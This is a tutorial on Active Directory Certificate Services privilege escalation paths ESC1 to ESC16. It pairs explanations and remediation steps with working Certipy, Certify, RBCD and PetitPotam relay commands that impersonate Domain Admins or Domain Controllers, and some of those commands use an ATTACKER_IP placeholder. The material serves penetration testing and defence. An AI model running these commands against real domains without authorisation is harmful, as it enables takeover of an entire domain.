Skip to content

AD CS Attacks (ESC1 to ESC16)

Active Directory Certificate Services (AD CS) issues certificates that can be used for authentication. If enrollment or account mapping is misconfigured, a user may obtain a certificate that grants access beyond their own account. SpecterOps introduced ESC1 through ESC8 in Certified Pre-Owned; later research extended the taxonomy.

We will work through ESC1 to ESC16. For each path, check the permission or setting that makes it possible, then verify which account authenticates with the certificate. An issued certificate alone does not prove privilege escalation.

Explore the flowFrom a certificate request to an authenticated accountEnrollment, issuance, and authentication each have their own checks. Select a stage for details.
  1. Enrollment requestAccount → certificate template

    Check who can enroll, which subject fields the requester controls, and whether approval or authorized signatures are required. Enrollment rights alone do not imply impersonation.

  2. Certificate issuanceTemplate + CA policy → signed certificate

    The CA applies its configuration and template policy. Inspect the actual issued certificate: subject, SAN, usages, and SID security extension where applicable.

  3. Identity mappingCertificate → directory account

    The authenticating service maps the certificate to an account. Patch level, strong binding, explicit mappings, and the chosen authentication protocol can change the outcome.

  4. Authentication resultVerified account → access

    Check which account authenticates and what it can access. Save the required permissions, mapping result, and access obtained as evidence. Issuance alone does not prove escalation.


Two tools for AD CS enumeration and exploitation are:

  • Certipy (Oliver Lyak): Python-based, for Linux and assumed-compromise scenarios.
  • Certify (GhostPack): C#/.NET, for Windows.

We start by enumerating Certificate Authorities (CAs) and templates:

Terminal window
# Linux (Certipy) - Sweeps the domain and outputs a text/JSON report
certipy find -vulnerable -u LOWPRIV -p PASSWORD -dc-ip DC_IP -stdout
# Windows (legacy Certify syntax; check your build's help)
.\Certify.exe find /vulnerable

Template-Level Vulnerabilities (ESC1 - ESC3)

Section titled “Template-Level Vulnerabilities (ESC1 - ESC3)”

How it works: An attacker identifies a certificate template that permits low-privileged users (like Domain Users) to enroll. The template is configured for Client Authentication and has the Enrollee Supplies Subject flag enabled. During the certificate request, the attacker manually supplies the User Principal Name (UPN) of a highly privileged account (e.g., a Domain Admin) in the Subject Alternative Name (SAN) field. The Certificate Authority (CA) issues the certificate with the injected SAN.

Why it works: The template permits an enrollment request to carry another account’s identity. Exploitation also depends on enrollment rights, authentication-capable usages, approval and signature requirements, and the domain’s certificate mapping rules. Inspect the issued identity and confirm which account receives the TGT; do not assume a supplied UPN will always be accepted.

Example configuration: An IT team creates a template for web servers and enables Enrollee Supplies Subject so they can manually type in the server’s FQDN during the request. They accidentally allow Domain Users to enroll and leave the Client Authentication EKU attached.

Tools & Syntax:

Terminal window
# Tool: Certipy (Linux)
# 1. Requesting the certificate, supplying the DA's UPN
certipy req -u lowpriv -p Password -ca CA_NAME -template WebServerVuln -upn da@domain.com -sid TARGET_SID -dc-ip DC_IP
# 2. Authenticating with the obtained .pfx to get a TGT ticket and NT hash
certipy auth -pfx da.pfx -dc-ip DC_IP
# Tool: Certify (Windows, legacy syntax)
.\Certify.exe request /ca:CA_NAME /template:WebServerVuln /upn:da@domain.com

TARGET_SID is the target account’s actual directory SID. Inspect the issued identity and mapping result; the requested UPN alone does not establish the authenticated account. Current syntax and prerequisites are in the Certipy maintainer’s escalation guide.

Remediation:

  • Open the Certificate Templates console -> Navigate to the Subject Name tab.
  • Change the setting from “Supply in the request” to “Build from this Active Directory information.”
  • If supplied subjects are required, restrict enrollment to the intended service accounts, remove unnecessary authentication usages, and review approval requirements.

How it works: The attacker enrolls in a template accessible to low-privileged users that has no Extended Key Usages (EKUs) or includes the Any Purpose OID. The certificate has broad permitted usages. Impersonating another account still requires an additional identity-control or enrollment-agent path; an unrestricted EKU alone does not choose a victim.

Why it works: A certificate with no EKUs or the Any Purpose OID is not narrowly restricted by its EKUs. Whether it is accepted for authentication also depends on trust, mapping, and the authenticating service. Templates intended for tasks such as file encryption can therefore allow authentication if their usages are not restricted.

Example configuration: A legacy template was migrated from an older Windows Server PKI where strict EKU definitions were not enforced or were left blank out of convenience.

Tools & Syntax:

Terminal window
# Tool: Certipy (Linux)
# Since it accepts any purpose, it acts like ESC1 if SAN can be modified
certipy req -u lowpriv -p Password -ca CA_NAME -template AnyPurposeVuln -upn da@domain.com -dc-ip DC_IP

Remediation:

  • Open the template’s Extensions tab -> Application Policies / Extended Key Usage.
  • Explicitly define the necessary EKUs (e.g., Server Authentication only). Never leave the EKU list empty.

How it works: The attacker requests a certificate with the Certificate Request Agent EKU, then uses the Windows Enrollment Agent feature to request a second certificate on behalf of another user, such as a Domain Admin.

Why it works: Enrollment Agents are trusted to provision certificates, such as physical smart cards, for other users. The path also needs a second template that accepts the agent request and enrollment-agent restrictions that allow the target account.

Example configuration: A Helpdesk template for provisioning new hires’ physical smart cards was misconfigured to let standard Domain Users enroll.

Tools & Syntax:

Terminal window
# Tool: Certipy (Linux)
# 1. Get the Enrollment Agent cert
certipy req -u lowpriv -p Password -ca CA_NAME -template HelpDeskAgent
# 2. Use it to request a cert for a Domain Admin on a standard user template
certipy req -u lowpriv -p Password -ca CA_NAME -template UserAccess -on-behalf-of 'DOMAIN\da' -pfx lowpriv.pfx

Remediation:

  • On the CA server, go to CA Properties -> Enrollment Agents tab.
  • Explicitly define which agents are allowed to request which templates, and for which user groups.

Access Control Vulnerabilities (ESC4, ESC5, ESC7)

Section titled “Access Control Vulnerabilities (ESC4, ESC5, ESC7)”

How it works: A low-privileged account or a group it controls has Write, WriteDacl, GenericWrite, or WriteProperty over a certificate template. The attacker uses LDAP to enable Enrollee Supplies Subject and add the Client Authentication EKU, then exploits the modified template through ESC1.

Why it works: Certificate templates are AD objects in the Configuration naming context. Their DACLs control who can modify them. A standard user with modify permissions can change the security settings of an otherwise secure template.

Example configuration: A nested group vulnerability or an old delegation gives standard application developers permission to change PKI templates.

Tools & Syntax:

Terminal window
# Tool: Certipy (Linux)
# 1. Overwrite template configuration to make it vulnerable (enables SAN and Client Auth)
certipy template -u compromised_dev -p Password -template ImportantTemplate -write-default-configuration
# 2. Request certificate as Domain Admin (Exploit as ESC1)
certipy req -u compromised_dev -p Password -ca CA_NAME -template ImportantTemplate -upn da@domain.com -sid TARGET_SID
# 3. Restore the saved template configuration
certipy template -u compromised_dev -p Password -template ImportantTemplate -write-configuration ImportantTemplate.json -no-save

Remediation:

  • Use ADSI Edit or the Certificate Templates console to audit the Security tab of all templates.
  • Remove Full Control, Write, Modify Permissions, and Modify Owner rights for unprivileged users and groups.

ESC5: Vulnerable PKI Object Access Control

Section titled “ESC5: Vulnerable PKI Object Access Control”

How it works: The attacker has Write or Full Control over PKI-related objects, such as the CA server’s computer object, Cert Publishers, or NTAuthCertificates. They can use this control for Resource-Based Constrained Delegation (RBCD) against the CA server or to make the CA trust malicious inputs.

Why it works: PKI security includes the CA host and the directory objects that publish trust and certificates. Control over a CA computer account can support an RBCD path under the required conditions. NTAuthCertificates is a directory object, not a group; changing its trusted CA certificates is a different path from changing group membership or writing shadow credentials.

Example configuration: IT staff delegated control of the Cert Publishers group to a tier-2 identity management team, allowing a tier-2 compromise to pivot into full Tier 0 PKI takeover.

Tools & Syntax:

Terminal window
# Tools: BloodHound (to find permission), BloodyAD or Impacket (to exploit)
# E.g. using RBCD against the CA Computer Object if you have GenericAll
python3 rbcd.py -delegate-to 'CA_SERVER$' -delegate-from 'OWNED_COMPUTER$' -action 'write' domain.com/lowpriv:Password

Remediation:

  • Ensure the CA computer object and Cert Publishers group are treated as Tier 0 assets (like Domain Controllers) with highly restricted ACLs.

How it works: CA administration and certificate issuance are separate permissions. In the path below, Manage CA lets the attacker add a certificate officer; that officer can issue a previously denied SubCA request when the template and CA configuration permit it.

Why it works: The attack crosses a delegated CA-administration boundary. Manage CA and Manage Certificates are not interchangeable, and approval does not bypass every enrollment or mapping requirement. Keep the request ID and private key, retrieve the issued certificate, and verify the resulting identity.

Example configuration: A third-party backup or monitoring service account was granted ManageCA rights to query CA health.

Tools & Syntax:

Terminal window
# Tool: Certipy (Linux)
# 1. Add yourself as an officer
certipy ca -u service_acct -p Password -ca CA_NAME -add-officer service_acct
# 2. Request a privileged cert (it will initially be denied)
certipy req -u service_acct -p Password -ca CA_NAME -template SubCA -upn da@domain.com
# 3. Force-issue the denied request (using the Request ID from step 2 output)
certipy ca -u service_acct -p Password -ca CA_NAME -issue-request 105
# 4. Retrieve the issued certificate
certipy req -u service_acct -p Password -ca CA_NAME -retrieve 105

Remediation:

  • Open the Certification Authority MMC -> Right-click the CA -> Properties -> Security tab.
  • Delegate CA administration and certificate issuance only to approved PKI administrators, and review those rights separately.

Web Enrollment & Relay Attacks (ESC8, ESC11)

Section titled “Web Enrollment & Relay Attacks (ESC8, ESC11)”

Follow the transport: ESC8 concerns HTTP enrollment endpoints; ESC11 concerns RPC enrollment. Check the protections on the endpoint actually receiving the relayed authentication.

How it works: An attacker forces a highly privileged account (like a Domain Controller computer account) to authenticate to the attacker’s machine. The attacker then intercepts that authentication and relays it over HTTP to the CA’s Web Enrollment interface (/certsrv). The CA issues a certificate in the context of the relayed identity, giving the attacker a valid certificate for the Domain Controller.

Why it works: NTLM-enabled web enrollment without effective relay protection can accept authentication forwarded from another connection. HTTPS alone is not the complete fix; configure EPA as well. SMB signing applies to SMB connections, not to the HTTP enrollment endpoint.

Example configuration: Web Enrollment was installed years ago “just in case” and left running on default HTTP port 80.

Tools & Syntax:

Terminal window
# Tools: Certipy + PetitPotam (or Coercer)
# 1. Start the relay listener on the attacker machine
certipy relay -target http://CA_IP -ca CA_NAME -template DomainController
# 2. In another terminal, coerce authentication from target DC to attacker machine
python3 PetitPotam.py ATTACKER_IP TARGET_DC_IP
# 3. Authenticate with the obtained DC PFX
certipy auth -pfx dc01.pfx -dc-ip DC_IP

Remediation:

  • Uninstall AD CS Web Enrollment if it is not required.
  • If it is required, enforce HTTPS in IIS and enable Extended Protection for Authentication (EPA) in Windows Authentication advanced settings.

How it works: As in ESC8, the attacker coerces NTLM authentication from a victim, such as a DC, and relays it to the Certificate Authority. ESC11 targets the CA’s RPC interface (MS-ICPR) to request a certificate on the victim’s behalf, rather than the HTTP Web Enrollment endpoint.

Why it works: ESC11 requires the CA to accept RPC enrollment without the required packet privacy protection. Do not assume every older CA has that setting. Without encryption enforcement, the RPC endpoint can accept relayed NTLM authentication under the required enrollment conditions. The original ESC11 research identifies the relevant flag. The CA accepts the relayed credentials because the transport layer lacks the cryptographic binding required to prove the client and the sender are exactly the same entity.

Example configuration: Defenders uninstalled Web Enrollment to stop ESC8, but the remote RPC interface was left unhardened.

Tools & Syntax:

Terminal window
# Tool: Certipy
# Exact same flow as ESC8, but target the RPC endpoint instead of HTTP
certipy relay -target rpc://CA_IP -ca CA_NAME -template DomainController

Remediation:

  • Enforce RPC endpoint encryption by executing on the CA: certutil -setreg CA\InterfaceFlags +IF_ENFORCEENCRYPTICERTREQUEST

Advanced Misconfigurations & Bypasses (ESC6, ESC9-ESC16)

Section titled “Advanced Misconfigurations & Bypasses (ESC6, ESC9-ESC16)”

How it works: A template permits Client Authentication and low-privileged enrollment without Enrollee Supplies Subject. The attacker supplies a custom SAN in the request attributes, and a global CA registry flag allows it.

Why it works: EDITF_ATTRIBUTESUBJECTALTNAME2 is a bit in the CA’s EditFlags value. It allows SANs supplied through request attributes. On modern domains, a supplied UPN alone may fail strong mapping; ESC6 can combine with a missing SID extension, such as ESC9, to affect the identity used for authentication. See the Certipy escalation reference.

Example configuration: An administrator enabled the registry flag to fix SAN errors during server deployments, exposing the authentication templates to ESC1.

Tools & Syntax:

Terminal window
# Tool: Certipy
# Legacy UPN-only illustration; modern mapping may require additional conditions
certipy req -u lowpriv -p Password -ca CA_NAME -template User -upn da@domain.com

Remediation: Disable the flag on the CA: certutil -setreg policy\EditFlags -EDITF_ATTRIBUTESUBJECTALTNAME2

ESC9: Missing certificate security extension

Section titled “ESC9: Missing certificate security extension”

A template with CT_FLAG_NO_SECURITY_EXTENSION omits the SID security extension. In legacy compatibility environments, control of an enrolling account’s UPN could then enable impersonation. Under strong enforcement, the absent extension alone does not establish an attack path; combinations such as ESC6 require separate analysis.

Remove unnecessary suppression of the SID extension and verify the issued certificate and the domain’s mapping behavior. The old machine-name spoofing example associated with Certifried is not a general ESC9 recipe.

ESC10 concerns weak mapping settings on the authenticating system, including historical KDC compatibility settings and Schannel mapping methods. It is distinct from a template omitting the SID extension.

Check which service authenticates the certificate and which mapping method it permits. Current patched domain controllers no longer support the old KDC compatibility override. Follow Microsoft’s mapping and enforcement guidance; changing an obsolete registry value is not a complete remediation.

ESC12: CA signing access through YubiHSM integration

Section titled “ESC12: CA signing access through YubiHSM integration”

ESC12 describes a specific YubiHSM integration scenario requiring shell access on the CA host. Local access to HSM authentication material can undermine the protection expected from storing the signing key in hardware. It is not a remotely exploitable certificate-template flag.

Review access to the CA host, HSM credentials, and key operations against the original ESC12 research. Hardware key storage still needs protected client configuration and restricted host access.

ESC13: Issuance Policies Bypassing (Linked OIDs)

Section titled “ESC13: Issuance Policies Bypassing (Linked OIDs)”

How it works: A template includes an Issuance Policy OID linked to a privileged AD group. When the attacker enrolls and uses the certificate for Kerberos PKINIT, the Domain Controller includes the linked group’s privileges in the TGT.

Why it works: Authentication Mechanism Assurance can add authorization group membership when a certificate contains a linked issuance policy. The msDS-OIDToGroupLink attribute on an issuance-policy OID object identifies the group; it is not a container. The group must meet the feature’s requirements, including being a universal group with no members. See the original ESC13 research.

Example configuration: Custom Issuance Policies were created to streamline cross-forest trusted group mapping or specialized VPN access, but the template yielding the policy was left available to Domain Users.

Tools & Syntax:

Terminal window
# Tool: Certipy
# 1. The attacker requests a certificate from the template containing the privileged OID
certipy req -u lowpriv -p Password -ca CA_NAME -template LinkedOIDTemplate
# 2. Authenticate! The DC reads the OID during Kerberos PKINIT and grants the mapped group's privileges in the TGT
certipy auth -pfx lowpriv.pfx -dc-ip DC_IP

Remediation: Remove highly privileged Issuance Policies from low-privilege templates and audit issuance-policy OID objects and their msDS-OIDToGroupLink attributes.

Writing altSecurityIdentities on the target account can let an attacker map a certificate they control to that target. Writing a privileged certificate’s subject on the attacker’s own account does not make the attacker’s certificate authenticate as the privileged user.

Other variants involve existing weak mappings and the ability to enroll a certificate that matches them. The accepted mapping type depends on the authenticating system and its configuration. Review both the target attribute’s ACL and the certificate fields used for mapping. SpecterOps’ ESC14 research separates these cases.

Restrict writes to mapping attributes and replace weak mappings where required. Strong mappings also need protected ACLs: an attacker who can rewrite a target’s mapping may point it at a certificate they own.

ESC15: Application policy injection (EKUwu)

Section titled “ESC15: Application policy injection (EKUwu)”

ESC15 is CVE-2024-49019, a certificate issuance vulnerability affecting unpatched CAs and version 1 templates. A requester with enrollment rights can supply application policies that change how the resulting certificate may be used, including authentication or enrollment-agent uses. It is not the theft of a SubCA private key.

Check the CA’s patch status, template schema version, enrollment permissions, and the application policies in the issued certificate. TrustedSec’s original EKUwu research documents the issue and its November 2024 patch. Apply the security update and review the affected templates.

ESC16: CA-wide suppression of the SID extension

Section titled “ESC16: CA-wide suppression of the SID extension”

ESC16 occurs when the CA’s policy\DisableExtensionList suppresses the SID security extension, OID 1.3.6.1.4.1.311.25.2, across its issued certificates. ESC9 suppresses it on an individual template.

Missing the extension alone does not bypass full enforcement. The Certipy guide describes a combination with ESC6 that supplies a target SID through a SAN URL when the normal extension is absent. Confirm the CA settings, issued fields, and authenticated account together. Remove unintended extension suppression and review the SAN flag and enrollment rights. See Certipy’s ESC16 documentation.

Enable Audit Certification Services and the CA’s relevant auditing settings. Correlate requests and issuance with template changes, requester accounts, and authentication results. An issued certificate may remain usable after a template is repaired, so investigate certificates issued during the exposure and assess revocation and credential recovery.

For enrollment relay, follow Microsoft’s AD CS NTLM-relay mitigation guidance: require HTTPS and Extended Protection for Authentication on required IIS enrollment services, and remove unused endpoints. Harden RPC enrollment separately for ESC11. Updating certificate mapping does not replace these endpoint protections.

Record the starting account and the exact permission or template setting that permits the path. Save the enrollment result and request ID, then identify the account returned by authentication. Explain whether the impact is account impersonation, extra group privileges, or CA control.

For paths that modify templates, groups, or mappings, retain the original values and document restoration. A useful remediation removes the specific permission or trust condition that enabled the result.

AD CS security depends on template permissions, CA administration, enrollment endpoints, and how services map certificates to accounts. Start with the exact enrollment or write permission available to the controlled account, then follow the issued certificate through authentication.

Strong mapping changes older attack paths, while combinations such as ESC6 with ESC9 or ESC16 need their own analysis. Repair the enabling permissions and CA settings, protect relay endpoints, and review certificates issued before the fix. Keep tool versions and patch levels with the evidence so another reader can explain the lab result.